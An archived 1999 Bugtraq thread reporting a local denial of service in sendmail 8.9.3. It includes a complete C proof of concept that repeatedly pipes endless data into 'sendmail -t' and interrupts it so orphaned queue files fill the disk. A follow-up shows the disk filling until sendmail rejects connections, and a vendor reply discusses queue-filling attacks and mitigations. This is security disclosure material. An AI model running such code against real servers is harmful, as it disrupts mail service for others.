Date: Thu, 1 Apr 1999 14:00:16 +0000
From: Lukasz Luzar <lluzar@NONAME.KKI.KRAKOW.PL>
To: BUGTRAQ@netspace.org
Subject: Possible local DoS in sendmail
Hi,
It seems that sendmail ran with -t option does NOT block SIGINT ...
In that moment while we are sending data to its stdin, when we will press
CTRL-C process is being killed, but in queue rests unfinished letter.
It stays there quite long - long enought to fullfill partition on disk where
/var/spool/mqueue resides.
When it happends, sendmail doesn't allow new connections - so it is a kind
of DoS attack for this service.
It has been tested on all new versions on sendmail up to current (8.9.3).
Example ...
--- CUT HERE ----
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <sys/wait.h>
#define DELAY 5 /* time in seconds needed to reach
MaxMessageSize limit */
#define SM_PATH "/usr/sbin/sendmail -t"
void main()
{
FILE *fd;
int pid;
for(;;) {
if(( pid = fork()) == 0) {
setpgrp();
if(( fd = popen( SM_PATH, "w")) == NULL)
fprintf( stderr, "popen error\n");
for(;;) fputc( 'A', fd);
} else {
sleep( DELAY);
kill( (-1) * pid, SIGINT);
fprintf( stdout, "next\n");
wait( NULL);
}
}
}
--- CUT HERE ---
Regards,
---
Lukasz Luzar K.K.I.
http://noname.kki.krakow.pl/ lluzar@kki.pl
---------------------------------------------------------------------
Date: Thu, 1 Apr 1999 14:41:41 -0500
From: KuRuPTioN <kuruption@CHA0S.COM>
To: BUGTRAQ@netspace.org
Subject: Re: Possible local DoS in sendmail
Well, this is very interesting... this is what I found my running this
binary for 30 seconds =)
Before:
# df /
Filesystem 1024-blocks Used Available Capacity Mounted on
/dev/hda1 303251 87681 199909 30% /
# ps auwx | grep sendmail
root 1427 0.0 0.4 1324 816 ? S Mar 27 0:00 sendmail:
accepting connections on port 25
# ls -l /var/spool/mqueue
total 0
#
After (30 seconds running):
# df /
Filesystem 1024-blocks Used Available Capacity Mounted on
/dev/hda1 303251 107548 180042 37% /
(not too bad but another 30 seconds later another df)
Filesystem 1024-blocks Used Available Capacity Mounted on
/dev/hda1 303251 146235 141355 51% /
# ps auwx | grep sendmail
mail 17144 70.5 0.4 1348 820 p1 R 11:35 0:48
/usr/sbin/sendmail -t
root 1427 0.0 0.4 1324 816 ? S Mar 27 0:00 sendmail:
accepting connections on port 25
(sendmail kindly using 70% of my CPU)
# ls -l /var/spool/mqueue
total 115854
-rw------- 1 mail mail 118169600 Apr 1 11:37 dfLAA17144
-rw------- 1 mail mail 0 Apr 1 11:35 qfLAA17144
-rw------- 1 mail mail 0 Apr 1 11:35 xfLAA17144
(once again a df)
# df /
Filesystem 1024-blocks Used Available Capacity Mounted on
/dev/hda1 303251 224734 62856 78% /
and once the hard drive becomes filled sendmail stops accepting connections
since it has no temp space.
# df /
Filesystem 1024-blocks Used Available Capacity Mounted on
/dev/hda1 303251 287590 0 100% /
# ps auwx | grep sendmail
mail 17144 68.5 0.4 1348 820 p1 R 11:35 2:33
/usr/wrapped/sendmail -t
root 1427 0.0 0.4 1324 816 ? S Mar 27 0:00 sendmail:
rejecting connections on port 25: min free: 100
#
People, this is no april fools joke =)
Raymond T Sundland
MCSE, MCP, MCP+Internet
PGP Key: finger pgp@24.3.181.22
-----------------------------------------------------------------------------------
Date: Fri, 2 Apr 1999 10:23:26 -0800
From: Gregory Neil Shapiro <gshapiro@SENDMAIL.ORG>
To: BUGTRAQ@netspace.org
Subject: Re: Possible local DoS in sendmail
-----BEGIN PGP SIGNED MESSAGE-----
Lukasz> In that moment while we are sending data to its stdin, when we will
Lukasz> press CTRL-C process is being killed, but in queue rests unfinished
Lukasz> letter. It stays there quite long - long enought to fullfill
Lukasz> partition on disk where /var/spool/mqueue resides. When it
Lukasz> happends, sendmail doesn't allow new connections - so it is a kind
Lukasz> of DoS attack for this service. It has been tested on all new
Lukasz> versions on sendmail up to current (8.9.3).
Thanks for posting this info Lukasz.
Unfortunately we believe this is just a variation on the many Denial of
Service attacks possible from a Unix shell. In fact, it's "yet another
queue filling" exercise. This problem affects most, if not all MTAs.
Interestingly, the proposed DOS is less severe than the usual queue filling
strategies such as repeatedly submitting large mails to an undeliverable
address, such as someone@[10.255.255.255].
The reason for this is that the derelict files will be removed by the next
scheduled queue run. In the case of legitimately queued mail, it will take
the full queue return timeout before the queue entry is removed (assuming a
lack of intervention on the administrator's part).
The valid point you do raise is that shell-based DOS attacks are hard to
deal with. In many cases, the only recourse is to identify and stop the
offender.
In this case we suggest that if this attack is a possibility at your site,
you use process accounting to help trace the malicious user. Also, unless
your script gets the timing exactly right every time, the queue submission
will complete which will give more information about the identity of the
attacker. As a side note, setting the MaxMessageSize option prevents any
one message from filling the queue.
Having said that, it does point out that sendmail could log the username
and queue ID earlier to help make tracing this sort of attack even easier.
We will look into the benefits of doing this for a future release.
Lukasz as a final point, we really appreciate you raising this issue but in
the future, we would prefer some consultation prior to posting to bugtraq.
This will allow us to have all of the information available at the time of
the posting. The address to contact us is sendmail-bugs@sendmail.org.
Conclusion. Queue filling DOS attacks are not unique to sendmail. This is
not a new problem. There is no general solution to this and many other DOS
attacks apart from identifying and stopping the malicious user.
-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 5.0 for non-commercial use
Comment: Processed by Mailcrypt 3.5.3, an Emacs/PGP interface
Charset: noconv
iQCVAwUBNwUKvXxLZ22gDhVjAQEv9QP9EgU5zmNeAZ63tUiRoq3C6OSbXEJ4yvw4
PLCkOWUJ4etCzBKa5i1/SCa9/mW+WHmR3WobNCI5m8Y9AqYjSSe+gQgnWXXH5CJH
fRgtRNrvVewAIsW84QRQDFdapLPiq4ZZbEu7w55WNVdgnZwwTqXGeLJEgP+cAcTl
ehf8dKqtahk=
=7/+l
-----END PGP SIGNATURE-----